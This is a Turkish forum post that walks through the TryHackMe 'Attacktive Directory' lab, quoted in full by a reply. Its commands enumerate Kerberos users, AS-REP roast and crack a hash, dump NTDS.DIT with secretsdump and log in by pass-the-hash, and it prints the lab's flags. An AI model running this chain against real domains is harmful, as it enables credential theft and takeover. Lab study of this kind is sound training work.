Active Directory Pentest

Mascar

Kıdemli Üye
17 Kas 2021
2,478
80
2,232

a3b2jeo.png

İçerik

Active Directory Nedir?

Makine Üzerinde Active Directory Pentest

gBPwFuWw_o.png

ifqbt1b.png

Active Directory Nedir?

Active Directory, Microsoft firması tarafından geliştirilmiş bir dizin hizmetidir. Büyük ölçekli ağlar için kullanılan bir hizmet olan Active Directory, ağdaki kaynakların yönetimini kolaylaştırır ve merkezi bir veritabanı olarak görev yapar.​

Active Directory, ağdaki tüm kaynakların yönetimini tek bir merkezi noktadan sağlar. Kullanıcı hesapları, gruplar, yazıcılar, sunucular, cihazlar, dosya ve klasörler gibi birçok kaynak Active Directory üzerinde yönetilir. Bu kaynaklara erişim, Active Directory üzerinde tanımlanmış olan kullanıcı hesaplarına bağlıdır. Bu sayede, kullanıcılara ve kaynaklara erişim yönetimi kolaylaşır ve kontrol altında tutulabilir.​

Active Directory, özellikle büyük ölçekli işletmelerde yaygın olarak kullanılmaktadır. Microsoft Windows Server işletim sistemi üzerinde ve LDAP (Lightweight Directory Access Protocol) protokolünü kullanarak çalışır. Active Directory, ağdaki tüm cihazlara ve kaynaklara erişimi yönetmek için tek bir merkezi nokta oluşturur ve ağ yönetimini daha kolay hale getirir.​

gBPwFuWw_o.png

Makine Üzerinde Active Directory Pentest

Attacktive Directory

Öncelikle Active Directory saldırılarında sıkça kullanılan araçların yer aldığı Impacket dosyasını indirip kurmamız gerekiyor.​


Bash:
git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket

İmpacket adlı dosyayı /opt dizini içerisine klonladık. Şimdi modülleri indirmek için aşağıdaki kodu kullanacağız.​

Bash:
pip3 install -r /opt/impacket/requirements.txt

Modüller de indirildiğine göre /opt dizinine gelip İmpacket içerisindeki setup.py dosyasını çalıştırarak kurulumu tamamlayacağız.​

Bash:
cd /opt/impacket/ && python3 ./setup.py install

What tool will allow us to enumerate port 139/445?

Burada 139 ve 445 numaralı portları hangi araç yardımıyla enumerasyon(numaralandırma) yapabileceğimiz sorulmuş, Bunun cevabı enum4linux'dır.​

enum4linux, Windows ve Samba sistemlerinde numaralandırma yapmak için kullanılan bir araçtır.

What is the NetBIOS-Domain Name of the machine?

Burada makinenin NetBIOS etki alan adı sorulmakta, cevabı bulmak için enum4linux aracı ile tarama yapmamız gerekmekte. Aşağıdaki kod ile bir tarama başlatıyoruz.​

Bash:
enum4linux -a spookysec.local
r304vbg.png

Tarama sonucu etki alanının(domain name) THM-AD olduğunu görüyoruz.​

What invalid TLD do people commonly use for their Active Directory Domain?

Burada, insanların Active Directory Domain'leri için hangi geçersiz TLD'ler kullanıp kullanmadığını sorulmakta. Bu soruya aslında direkt olarak .local cevabını verebiliriz. Fakat siz yine de Nmap ile tarama yaparak cevabı bulabilirsiniz.

Bash:
nmap -sV -A 10.10.83.85

TLD, "Top-Level Domain" teriminin kısaltmasıdır ve internet adresleri için kullanılan üst düzey alan adlarını ifade eder. ".local", ".corp", ".lan" ve ".home" gibi TLD'ler geçersiz TLD'lerdir.

What command within Kerbrute will allow us to enumerate valid usernames?

Burada, Kerbrute aracındaki hangi komutun geçerli kullanıcı adlarını numaralandırdığı sorularmakta bunun için makinede bulunan Kerbrute dosyasını indirdikten sonra aşağıdaki kodu çalıştırmamız gerekmekte,

Bash:
./kerbrute_linux_amd64 -h

euq5bei.png

Cevabımız, userenum komutudur.

Kerbrute, bir güvenlik testi aracıdır ve Windows Active Directory ortamında parola zayıflıklarını tespit etmek için kullanılır.

What notable account is discovered? (These should jump out at you)

Burada, hangi önemli hesabın keşfedildiği soruluyor, bunun için makinede verilen user ve password listeleri indirip bruteforce yapacağız,

Bash:
./kerbrute_linux_amd64 userenum -d spookysec.local --dc spookysec.local user.txt -t 100

nk3jvb8.png

Bruteforce sonucunda hesaplar karşımıza çıktı burada cevabımız, svc-admin'dir.

We have two user accounts that we could potentially query a ticket from. Which user account can you query a ticket from with no password?

Burada, hangi kullanıcının şifre gerektirmeden(no pass) bilet aracılığıyla girilebildiği sorulmaktadır. Bunu öğrenmek için Impacket içerisindeki GetNPUsers.py scriptini kullanacağız.

Bash:
GetNPUsers.py spookysec.local/svc-admin -no-pass

cs414m1.png

Sonuç bize bu hesabın svc-admin olduğunu ve hash'ini(ticket) veriyor. Bu hash ilerki sorularda karşımıza çıkacaktır.

Looking at the Hashcat Examples Wiki page, what type of Kerberos hash did we retrieve from the KDC? (Specify the full name)

Burada, daha önce bulduğumuz hash'in "Hashcat Örnekleri" sayfasında hangi Kerberos hash türüne ait olduğu sorulmaktadır. Bunu çözmek için ilgili websitesine göz atmalıyız. Hash'in ilk kısmındaki KDC değerini(AS-REP) sitede sorguladığımda bu hash'in Kerberos 5 AS-REP etype 23'e ait olduğunu öğreniyoruz.​

What mode is the hash?

Burada, hash'in hangi modda olduğu sorulmakta. Bunu öğrenmek için yine "Hashcat Examples" sayfasına göz atmamız gerekir bu değer, hash türünün solunda yer almaktadır yani 18200'dür.​

Now crack the hash with the modified password list provided, what is the user accounts password?

Şimdi ise Hashcat aracını kullanarak indirdiğimiz password list ile bu hash'i kırmaya çalışacağız.​

Kod:
hashcat -m 18200 -a 0 passhash pass.txt --force > passun

cat passun

9exartt.png

Bu işlemden sonra kırdığımız hash'in management2005 olduğunu öğreniyoruz.​

Using utility can we map remote SMB shares?

Bu sorunun cevabı zaten "Hint" içinde verilmiş cevap, smbclient'dır.​

Which option will list shares?

Burada, hangi komutun SMD'deki paylaşımları listelediği sorulmakta. Cevap, -L komutudur.​

Şimdi, smbclient ile svc-admin'e bağlanalım.​

Bash:
smbclient spookysec.local -L -u 'svc-admin'
8xyk8oc.png

Burada backup diski gözümüze çarpmakta,​

Bash:
smbclient \\\\spookysec.local\\\backup -u 'svc-admin'

dir
lz7rqd7.png

Backup içerisinde backup_credentials.txt adında bir dosya bulduk. İçeriğini görüntülemek için more komutunu kullanacağız.​

Karşımıza base64 ile şifrelenmiş bir kod çıktı. Smbclient'den çıkıp kodu çözümleyelim.​

Kod:
echo 'YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw' | base64 -d > smbpass

cat smbpass
dj4nn9h.png

Decrypt işleminden sonra karşımıza bir username ve password çıkmakta.. Elimizdeki veriler ile soruları cevaplamaya devam edelim.​

How many remote shares is the server listing?

Burada, sunucunun kaç uzak paylaşımı listelediği sorulmakta. Cevap, 6'dır.​

There is one particular share that we have access to that contains a text file. Which share is it?

Eriştiğimiz hangi paylaşımlı dosyada metin belgesi bulunduğu sorulmakta. Cevap, backup'dır.​

What is the content of the file?

Dosya içeriğinde ne olduğu sorulmakta. Cevap, YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw

Decoding the contents of the file, what is the full contents?

Burada, decode edilen veri istenmiş. Cevap, [email protected]:backup2517860

Şimdi ise topladığımız veriler ile Impacket içerisindeki secretsdump.py scriptini kullanmamız gerekiyor.

Kod:
secretsdump.py -dc-ip 10.10.83.85 spookysec.local/[email protected]


Password:backup2517860
2n5nvxa.png

Bu işlemden sonra karşımıza birçok kullanıcı ve hash bilgileri çıkmakta, öncelikle soruları cevaplayalım.​

What method allowed us to dump NTDS.DIT?

Bu soruda, NTDS.DIT dosyasının nasıl dump edildiği soruluyor. Cevap, DRSUAPI

What is the Administrators NTLM hash?

Bu soruda, Administrator hesabının NTLM hash değerinin ne olduğu soruluyor. Cevap, 0e0363213e37b94221497260b0bcb4fc

Şimdi Evil-winrm aracı ile bağlanıp pass the hash yöntemi uygulayacağız.​

"Pass the hash" yöntemi, NTLM kimlik doğrulama hash'i ile oturum açma işlemini taklit ederek, Windows işletim sistemi hedeflerine erişebilmesini sağlayan bir tekniktir.

Bash:
ewil-winrm -u administrator -H 0e0363213e37b94221497260b0bcb4fc -i 10.10.83.85
9v0e188.png

Başarılı bir şekilde erişim sağladık şimdi ise flagları bulalıım.​

Bash:
cd ..


cd Desktop


ls
pcomk1r.png

Görüldüğü gibi root.txt içerisinde Administrator flagını bulduk. Diğer flaglarıda bulduktan sonra makineyi tamamlayabiliriz.​


Bash:
cd svc-admin


cd Desktop


ls


cat user.txt.txt
9tdz1jg.png

user.txt.txt dosyası içerisinde de svc-admin flagını bulduk.​


Kod:
cd backup


cd Desktop


ls


cat PrivEsc.txt
ja0wxya.png

Son flagıda bulduğumuza göre soruları cevaplayabiliriz.​

Administrator (TryHackMe{4ctiveD1rectoryM4st3r})

backup

(TryHackMe{B4ckM3UpSc0tty!})

svc-admin (TryHackMe{K3rb3r0s_Pr3_4uth})

gBPwFuWw_o.png

Umarım bu konu AD pentest işlemleri hakkında sizlere bir bilgi katmıştır.​

Konuyu okurken hatalı bulduğunuz yerleri belirtirseniz düzeltebilirim.​

Okuduğunuz için teşekkür ederim.​

2tvb2gm.gif
 
Son düzenleme:

JohnWick51

Uzman üye
20 Mar 2022
1,867
770
28

a3b2jeo.png

İçerik

Active Directory Nedir?

Makine Üzerinde Active Directory Pentest

gBPwFuWw_o.png

ifqbt1b.png

Active Directory Nedir?

Active Directory, Microsoft firması tarafından geliştirilmiş bir dizin hizmetidir. Büyük ölçekli ağlar için kullanılan bir hizmet olan Active Directory, ağdaki kaynakların yönetimini kolaylaştırır ve merkezi bir veritabanı olarak görev yapar.​

Active Directory, ağdaki tüm kaynakların yönetimini tek bir merkezi noktadan sağlar. Kullanıcı hesapları, gruplar, yazıcılar, sunucular, cihazlar, dosya ve klasörler gibi birçok kaynak Active Directory üzerinde yönetilir. Bu kaynaklara erişim, Active Directory üzerinde tanımlanmış olan kullanıcı hesaplarına bağlıdır. Bu sayede, kullanıcılara ve kaynaklara erişim yönetimi kolaylaşır ve kontrol altında tutulabilir.​

Active Directory, özellikle büyük ölçekli işletmelerde yaygın olarak kullanılmaktadır. Microsoft Windows Server işletim sistemi üzerinde ve LDAP (Lightweight Directory Access Protocol) protokolünü kullanarak çalışır. Active Directory, ağdaki tüm cihazlara ve kaynaklara erişimi yönetmek için tek bir merkezi nokta oluşturur ve ağ yönetimini daha kolay hale getirir.​

gBPwFuWw_o.png

Makine Üzerinde Active Directory Pentest

Attacktive Directory

Öncelikle Active Directory saldırılarında sıkça kullanılan araçların yer aldığı Impacket dosyasını indirip kurmamız gerekiyor.​


Bash:
git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket

İmpacket adlı dosyayı /opt dizini içerisine klonladık. Şimdi modülleri indirmek için aşağıdaki kodu kullanacağız.​

Bash:
pip3 install -r /opt/impacket/requirements.txt

Modüller de indirildiğine göre /opt dizinine gelip İmpacket içerisindeki setup.py dosyasını çalıştırarak kurulumu tamamlayacağız.​

Bash:
cd /opt/impacket/ && python3 ./setup.py install

What tool will allow us to enumerate port 139/445?

Burada 139 ve 445 numaralı portları hangi araç yardımıyla enumerasyon(numaralandırma) yapabileceğimiz sorulmuş, Bunun cevabı enum4linux'dır.​

enum4linux, Windows ve Samba sistemlerinde numaralandırma yapmak için kullanılan bir araçtır.

What is the NetBIOS-Domain Name of the machine?

Burada makinenin NetBIOS etki alan adı sorulmakta, cevabı bulmak için enum4linux aracı ile tarama yapmamız gerekmekte. Aşağıdaki kod ile bir tarama başlatıyoruz.​

Bash:
enum4linux -a spookysec.local
r304vbg.png

Tarama sonucu etki alanının(domain name) THM-AD olduğunu görüyoruz.​

What invalid TLD do people commonly use for their Active Directory Domain?

Burada, insanların Active Directory Domain'leri için hangi geçersiz TLD'ler kullanıp kullanmadığını sorulmakta. Bu soruya aslında direkt olarak .local cevabını verebiliriz. Fakat siz yine de Nmap ile tarama yaparak cevabı bulabilirsiniz.

Bash:
nmap -sV -A 10.10.83.85

TLD, "Top-Level Domain" teriminin kısaltmasıdır ve internet adresleri için kullanılan üst düzey alan adlarını ifade eder. ".local", ".corp", ".lan" ve ".home" gibi TLD'ler geçersiz TLD'lerdir.

What command within Kerbrute will allow us to enumerate valid usernames?

Burada, Kerbrute aracındaki hangi komutun geçerli kullanıcı adlarını numaralandırdığı sorularmakta bunun için makinede bulunan Kerbrute dosyasını indirdikten sonra aşağıdaki kodu çalıştırmamız gerekmekte,

Bash:
./kerbrute_linux_amd64 -h

euq5bei.png

Cevabımız, userenum komutudur.

Kerbrute, bir güvenlik testi aracıdır ve Windows Active Directory ortamında parola zayıflıklarını tespit etmek için kullanılır.

What notable account is discovered? (These should jump out at you)

Burada, hangi önemli hesabın keşfedildiği soruluyor, bunun için makinede verilen user ve password listeleri indirip bruteforce yapacağız,

Bash:
./kerbrute_linux_amd64 userenum -d spookysec.local --dc spookysec.local user.txt -t 100

nk3jvb8.png

Bruteforce sonucunda hesaplar karşımıza çıktı burada cevabımız, svc-admin'dir.

We have two user accounts that we could potentially query a ticket from. Which user account can you query a ticket from with no password?

Burada, hangi kullanıcının şifre gerektirmeden(no pass) bilet aracılığıyla girilebildiği sorulmaktadır. Bunu öğrenmek için Impacket içerisindeki GetNPUsers.py scriptini kullanacağız.

Bash:
GetNPUsers.py spookysec.local/svc-admin -no-pass

cs414m1.png

Sonuç bize bu hesabın svc-admin olduğunu ve hash'ini(ticket) veriyor. Bu hash ilerki sorularda karşımıza çıkacaktır.

Looking at the Hashcat Examples Wiki page, what type of Kerberos hash did we retrieve from the KDC? (Specify the full name)

Burada, daha önce bulduğumuz hash'in "Hashcat Örnekleri" sayfasında hangi Kerberos hash türüne ait olduğu sorulmaktadır. Bunu çözmek için ilgili websitesine göz atmalıyız. Hash'in ilk kısmındaki KDC değerini(AS-REP) sitede sorguladığımda bu hash'in Kerberos 5 AS-REP etype 23'e ait olduğunu öğreniyoruz.​

What mode is the hash?

Burada, hash'in hangi modda olduğu sorulmakta. Bunu öğrenmek için yine "Hashcat Examples" sayfasına göz atmamız gerekir bu değer, hash türünün solunda yer almaktadır yani 18200'dür.​

Now crack the hash with the modified password list provided, what is the user accounts password?

Şimdi ise Hashcat aracını kullanarak indirdiğimiz password list ile bu hash'i kırmaya çalışacağız.​

Kod:
hashcat -m 18200 -a 0 passhash pass.txt --force > passun

cat passun

9exartt.png

Bu işlemden sonra kırdığımız hash'in management2005 olduğunu öğreniyoruz.​

Using utility can we map remote SMB shares?

Bu sorunun cevabı zaten "Hint" içinde verilmiş cevap, smbclient'dır.​

Which option will list shares?

Burada, hangi komutun SMD'deki paylaşımları listelediği sorulmakta. Cevap, -L komutudur.​

Şimdi, smbclient ile svc-admin'e bağlanalım.​

Bash:
smbclient spookysec.local -L -u 'svc-admin'
8xyk8oc.png

Burada backup diski gözümüze çarpmakta,​

Bash:
smbclient \\\\spookysec.local\\\backup -u 'svc-admin'

dir
lz7rqd7.png

Backup içerisinde backup_credentials.txt adında bir dosya bulduk. İçeriğini görüntülemek için more komutunu kullanacağız.​

Karşımıza base64 ile şifrelenmiş bir kod çıktı. Smbclient'den çıkıp kodu çözümleyelim.​

Kod:
echo 'YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw' | base64 -d > smbpass

cat smbpass
dj4nn9h.png

Decrypt işleminden sonra karşımıza bir username ve password çıkmakta.. Elimizdeki veriler ile soruları cevaplamaya devam edelim.​

How many remote shares is the server listing?

Burada, sunucunun kaç uzak paylaşımı listelediği sorulmakta. Cevap, 6'dır.​

There is one particular share that we have access to that contains a text file. Which share is it?

Eriştiğimiz hangi paylaşımlı dosyada metin belgesi bulunduğu sorulmakta. Cevap, backup'dır.​

What is the content of the file?

Dosya içeriğinde ne olduğu sorulmakta. Cevap, YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw

Decoding the contents of the file, what is the full contents?

Burada, decode edilen veri istenmiş. Cevap, [email protected]:backup2517860

Şimdi ise topladığımız veriler ile Impacket içerisindeki secretsdump.py scriptini kullanmamız gerekiyor.

Kod:
secretsdump.py -dc-ip 10.10.83.85 spookysec.local/[email protected]


Password:backup2517860
2n5nvxa.png

Bu işlemden sonra karşımıza birçok kullanıcı ve hash bilgileri çıkmakta, öncelikle soruları cevaplayalım.​

What method allowed us to dump NTDS.DIT?

Bu soruda, NTDS.DIT dosyasının nasıl dump edildiği soruluyor. Cevap, DRSUAPI

What is the Administrators NTLM hash?

Bu soruda, Administrator hesabının NTLM hash değerinin ne olduğu soruluyor. Cevap, 0e0363213e37b94221497260b0bcb4fc

Şimdi Evil-winrm aracı ile bağlanıp pass the hash yöntemi uygulayacağız.​

"Pass the hash" yöntemi, NTLM kimlik doğrulama hash'i ile oturum açma işlemini taklit ederek, Windows işletim sistemi hedeflerine erişebilmesini sağlayan bir tekniktir.

Bash:
ewil-winrm -u administrator -H 0e0363213e37b94221497260b0bcb4fc -i 10.10.83.85
9v0e188.png

Başarılı bir şekilde erişim sağladık şimdi ise flagları bulalıım.​

Bash:
cd ..


cd Desktop


ls
pcomk1r.png

Görüldüğü gibi root.txt içerisinde Administrator flagını bulduk. Diğer flaglarıda bulduktan sonra makineyi tamamlayabiliriz.​


Bash:
cd svc-admin


cd Desktop


ls


cat user.txt.txt
9tdz1jg.png

user.txt.txt dosyası içerisinde de svc-admin flagını bulduk.​


Kod:
cd backup


cd Desktop


ls


cat PrivEsc.txt
ja0wxya.png

Son flagıda bulduğumuza göre soruları cevaplayabiliriz.​

Administrator (TryHackMe{4ctiveD1rectoryM4st3r})

backup

(TryHackMe{B4ckM3UpSc0tty!})

svc-admin (TryHackMe{K3rb3r0s_Pr3_4uth})

gBPwFuWw_o.png

Umarım bu konu AD pentest işlemleri hakkında sizlere bir bilgi katmıştır.​

Konuyu okurken hatalı bulduğunuz yerleri belirtirseniz düzeltebilirim.​

Okuduğunuz için teşekkür ederim.​

2tvb2gm.gif
Ellerinize saglik. TESEKKURLER
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.